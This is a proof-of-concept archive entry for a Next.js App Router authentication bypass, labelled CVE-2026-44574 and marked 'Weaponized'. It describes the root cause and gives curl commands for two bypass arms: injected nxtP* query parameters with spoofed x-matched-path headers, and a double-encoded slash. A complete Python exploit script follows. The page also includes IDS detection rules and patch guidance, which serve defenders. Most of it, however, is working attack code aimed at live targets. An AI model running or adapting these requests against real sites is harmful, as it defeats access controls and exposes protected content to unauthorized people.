PoC Archive PoC Archive
High CVE-2026-44574 unpatched

Next.js Dynamic Route Injection Auth Bypass (CVE-2026-44574)

by dwisiswant0 · 2026-05-17

CVSS 8.1/10
Severity
High
CVE
CVE-2026-44574
Category
web
Affected product
Next.js App Router with dynamic route segments and middleware-based access control
Affected versions
Next.js 15.4.0 - 15.5.15 and 16.0.0 - 16.2.4
Disclosed
2026-05-17
Patch status
unpatched

Metadata

FieldValue
Date Added2026-05-17
Last Updated2026-05-08
Author / Researcherdwisiswant0
CVE / AdvisoryCVE-2026-44574
Categoryweb
SeverityHigh
CVSS Score8.1 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N)
StatusWeaponized
Tagsauth-bypass, dynamic-route, nxtP-injection, middleware-bypass, param-smuggling, Next.js, App-Router, unauthenticated
RelatedN/A

Affected Target

FieldValue
Software / SystemNext.js App Router with dynamic route segments and middleware-based access control
Versions AffectedNext.js 15.4.0 - 15.5.15 and 16.0.0 - 16.2.4
Language / PlatformJavaScript / Node.js
Authentication RequiredNo
Network Access RequiredYes

Summary

CVE-2026-44574 is an authentication bypass in Next.js App Router applications that use middleware to protect dynamic route pages. Specially crafted query parameters (nxtP* / nxtI* internal Next.js route params) injected on a public URL cause the App Router rendering layer to invoke and render a protected dynamic route page while middleware only sees the benign public pathname and applies no access control. A second bypass arm exploits a double-encoding mismatch in client/route-params.ts via %252F (double-encoded slash) in the pathname. In both cases the visible request path differs from what the rendering layer processes, allowing middleware-protected content to be reached without authorization. Rated CVSS 8.1 High with no known active exploitation.


Vulnerability Details

Root Cause

Two related issues: (1) Next.js never stripped nxtP* / nxtI* internal route-param search params from inbound user requests. The App Router trusted these params when building the params object for page rendering, while middleware evaluated request.nextUrl.pathname (the actual request path). This created a split-view: middleware saw /safe, the page handler rendered /admin/[slug]. (2) URL.pathname.split('/') on the client and decodeURIComponent + encodeURIComponent on the server produced different canonical forms for paths containing characters like ,, :, or %2F, so %252F (double-encoded slash) in a dynamic segment round-tripped differently through middleware and the page handler. The patch (f1c11203d5) normalised encoded pathname parts on the client to match server round-trip behavior, closing the encoding mismatch variant.

Attack Vector

Two arms: (A) Attacker sends GET /safe?nxtPslug=secret-page with internal headers x-matched-path: /admin/[slug] and x-now-route-matches: 1=secret-page. Middleware sees pathname /safe and passes; App Router renders the protected page with injected params. (B) Attacker sends GET /admin/foo%252F<slug> - middleware sees one slug value, page handler decodes to another, allowing different if (slug === "...") branches to be reached.

Impact

Authentication bypass - middleware-implemented access control is defeated for any page using dynamic route segments. An unauthenticated attacker can render protected pages and retrieve their content. Potential cache poisoning where different nxtP* values produce the same canonical URL in CDN caches but different rendered content.


Environment / Lab Setup

OS:          Linux / macOS / Windows
Target:      Next.js 15.4.0 - 15.5.15 or 16.0.0 - 16.2.4 with App Router dynamic routes and middleware auth
Attacker:    Any host able to send crafted HTTP GET requests
Tools:       python3, bash, curl

Setup Steps

1
2
3
4
5
6
7
8
git clone https://github.com/dwisiswant0/next-16.2.4-pocs.git
cd next-16.2.4-pocs/poc/CVE-2026-44574_GHSA-492v-c6pp-mqqv

TARGET=http://localhost:3000 \
PROTECTED_BASE=/admin \
PROTECTED_SLUG=secret-page \
PUBLIC_PATH=/safe \
python3 exploit.py

Proof of Concept

Step-by-Step Reproduction

  1. Confirm baseline is blocked - canonical protected path is gated by middleware.

    1
    2
    
    curl -i http://target/admin/secret-page
    # Expect: HTTP/1.1 307  Location: /login
    
  2. Bypass arm A - inject nxtP params on a public path.

    1
    2
    3
    4
    5
    6
    
    curl -i \
      -H 'x-matched-path: /admin/[slug]' \
      -H 'x-now-route-matches: 1=secret-page' \
      "http://target/safe?nxtPslug=secret-page&__nextDefaultLocale=&__nextLocale="
    # Vulnerable: HTTP/1.1 200 with protected page content
    # Patched:    HTTP/1.1 307  Location: /login
    
  3. Bypass arm B - double-encoded slash mismatch.

    1
    2
    3
    
    curl -i --path-as-is "http://target/admin/foo%252Fsecret-page"
    # Vulnerable: HTTP/1.1 200 with protected content
    # Patched:    HTTP/1.1 307 or 404
    

Exploit Code

See exploit.py and exploit.sh in this folder.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
import urllib.request, urllib.parse, urllib.error

TARGET = "http://target"
SLUG = "secret-page"

class NoRedirect(urllib.request.HTTPRedirectHandler):
    def redirect_request(self, *a, **kw): return None

qs = urllib.parse.urlencode({"nxtPslug": SLUG, "__nextDefaultLocale": "", "__nextLocale": ""})
req = urllib.request.Request(
    f"{TARGET}/safe?{qs}",
    headers={
        "x-matched-path": "/admin/[slug]",
        "x-now-route-matches": f"1={SLUG}",
    }, method="GET"
)
with urllib.request.build_opener(NoRedirect()).open(req, timeout=15) as r:
    print(r.status, r.read(500))

Expected Output

x VULNERABLE — arm A: public path returned the protected page (sentinel 'ADMIN_SECRET_FLAG' present).

>>> RESULT: PASS (vulnerability reproduced) <<<

Screenshots / Evidence

  • screenshots/ - add captures showing protected dynamic route content returned via the public path bypass

Detection & Indicators of Compromise

GET /safe?nxtPslug=secret-page  x-matched-path: /admin/[slug]  x-now-route-matches: 1=secret-page
GET /admin/foo%252Fsecret-page

SIEM / IDS Rule (example):

alert http any any -> $HTTP_SERVERS any (
  msg:"Possible CVE-2026-44574 dynamic-route param injection bypass";
  pcre:"/[?&]nxtP[A-Za-z]/Q";
  sid:900044574a; rev:1;
)
alert http any any -> $HTTP_SERVERS any (
  msg:"Possible CVE-2026-44574 double-encoded slash bypass";
  content:"%252F"; http_uri;
  sid:900044574b; rev:1;
)

Remediation

ActionDetail
PatchUpgrade Next.js to 15.5.16 or 16.2.5+
WorkaroundIn every protected layout or page, re-derive sensitive params from params (the resolved value), not from request.url; never trust inbound nxtP* query params as route context
Config HardeningAt CDN/WAF, drop or reject any inbound request whose query keys start with nxtP, nxtI, or __NEXT_; block requests containing %252F in path segments

References


Notes

Auto-ingested from https://github.com/dwisiswant0/next-16.2.4-pocs on 2026-05-17.

No known active exploitation at time of disclosure. The nxtP* / nxtI* injection arm is particularly dangerous in Vercel-hosted deployments where the internal proxy legitimately uses these headers, as WAF rules blocking them may cause false positives. Defense-in-depth recommendation: always authenticate inside the page/layout handler rather than relying solely on middleware pathname matching. Issue tracked as #53.

exploit.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
#!/usr/bin/env python3
"""
CVE-2026-44574 / GHSA-492v-c6pp-mqqv — dynamic-route param injection bypass
==========================================================================

Usage:  TARGET=http://localhost:3000 python3 exploit.py

Attack model
------------
Next.js represents matched dynamic-route params and locale information with
internal search params named `nxtP<name>` (path) and `nxtI<name>` (intercept).
On vulnerable versions the router accepts these on inbound user requests
and uses them when building the page's `params` object.

That creates a *split-view* primitive:
  * Middleware sees `request.nextUrl.pathname` = /safe
  * The App Router renders /admin/[slug] with slug = whatever attacker put
    in `nxtPslug=...`

A second arm of the vulnerability is the encoded-slash double-encoding bug
in `client/route-params.ts` (fixed in `f1c11203d5`) — the same primitive
expressed via `%252F` in the pathname instead of via internal params.
"""

import os
import sys
import urllib.request
import urllib.error
import urllib.parse

R, G, Y, B, N = "\033[0;31m", "\033[0;32m", "\033[1;33m", "\033[0;34m", "\033[0m"

SENTINEL = "ADMIN_SECRET_FLAG"


class NoRedirect(urllib.request.HTTPRedirectHandler):
    def redirect_request(self, *_a, **_kw):
        return None


def fetch(url, headers=None, timeout=15):
    headers = headers or {}
    req = urllib.request.Request(url, headers=headers, method="GET")
    opener = urllib.request.build_opener(NoRedirect())
    try:
        with opener.open(req, timeout=timeout) as resp:
            return resp.status, dict(resp.getheaders()), resp.read(200_000)
    except urllib.error.HTTPError as e:
        return e.code, dict(e.headers), e.read(200_000)
    except Exception as e:  # noqa: BLE001
        print(f"{R}  network error: {e}{N}")
        return 0, {}, b""


def header(d, name):
    for k, v in d.items():
        if k.lower() == name.lower():
            return v
    return ""


def main():
    target = os.environ.get("TARGET", "http://localhost:3000").rstrip("/")
    base = os.environ.get("PROTECTED_BASE", "/admin")
    slug = os.environ.get("PROTECTED_SLUG", "secret-page")
    public = os.environ.get("PUBLIC_PATH", "/safe")

    print(f"{B}{'=' * 65}{N}")
    print(f"{B} CVE-2026-44574 — dynamic-route param injection (nxtP*)         {N}")
    print(f"{B}{'=' * 65}{N}")
    print(f" Target           : {target}")
    print(f" Protected route  : {base}/[slug]   slug={slug}")
    print(f" Public path      : {public}\n")

    # ---- step 1 — baseline -----------------------------------------------
    print(f"{Y}[1/4] Baseline — canonical GET {base}/{slug}{N}")
    code, h, _ = fetch(f"{target}{base}/{slug}")
    print(f"  HTTP {code}   Location: {header(h, 'location') or '(none)'}\n")

    # ---- step 2 — arm A: nxtP injection ---------------------------------
    print(f"{Y}[2/4] Bypass arm A — inject nxtPslug on a public path{N}")
    qs = urllib.parse.urlencode({
        "nxtPslug": slug,
        "__nextDefaultLocale": "",
        "__nextLocale": "",
    })
    url_a = f"{target}{public}?{qs}"
    print(f"  GET {public}?{qs}")
    a_code, a_h, a_body = fetch(url_a, headers={
        # x-matched-path / x-now-route-matches are the headers a typical
        # Vercel-style proxy forwards. They make the inner Next server
        # treat the request as if it had already been resolved to the
        # protected dynamic route.
        "x-matched-path": f"{base}/[slug]",
        "x-now-route-matches": f"1={slug}",
    })
    a_text = a_body.decode("utf-8", "replace")
    print(f"  HTTP {a_code}   Content-Type: {header(a_h, 'content-type')}")
    print()

    # ---- step 3 — arm B: encoded-slash double encode --------------------
    print(f"{Y}[3/4] Bypass arm B — double-encoded slash in dynamic segment{N}")
    url_b = f"{target}{base}/foo%252F{slug}"
    print(f"  GET {base}/foo%252F{slug}")
    b_code, b_h, b_body = fetch(url_b)
    b_text = b_body.decode("utf-8", "replace")
    print(f"  HTTP {b_code}   Location: {header(b_h, 'location') or '(none)'}\n")

    # ---- step 4 — verdict -----------------------------------------------
    print(f"{Y}[4/4] Verdict{N}")
    vuln = False
    if a_code == 200 and SENTINEL in a_text:
        vuln = True
        print(f"  {R}x VULNERABLE — arm A: public path returned the"
              f" protected page (sentinel '{SENTINEL}' present).{N}")
    if b_code == 200 and SENTINEL in b_text:
        vuln = True
        print(f"  {R}x VULNERABLE — arm B: encoded-slash request rendered"
              f" protected slug body.{N}")

    if vuln:
        print(f"\n{R}>>> RESULT: PASS (vulnerability reproduced) <<<{N}")
        sys.exit(0)

    print(f"  {G}v PATCHED — neither arm reached the protected page.{N}")
    print(f"\n{G}>>> RESULT: FAIL (target appears patched >= v16.2.5) <<<{N}")
    sys.exit(1)


if __name__ == "__main__":
    main()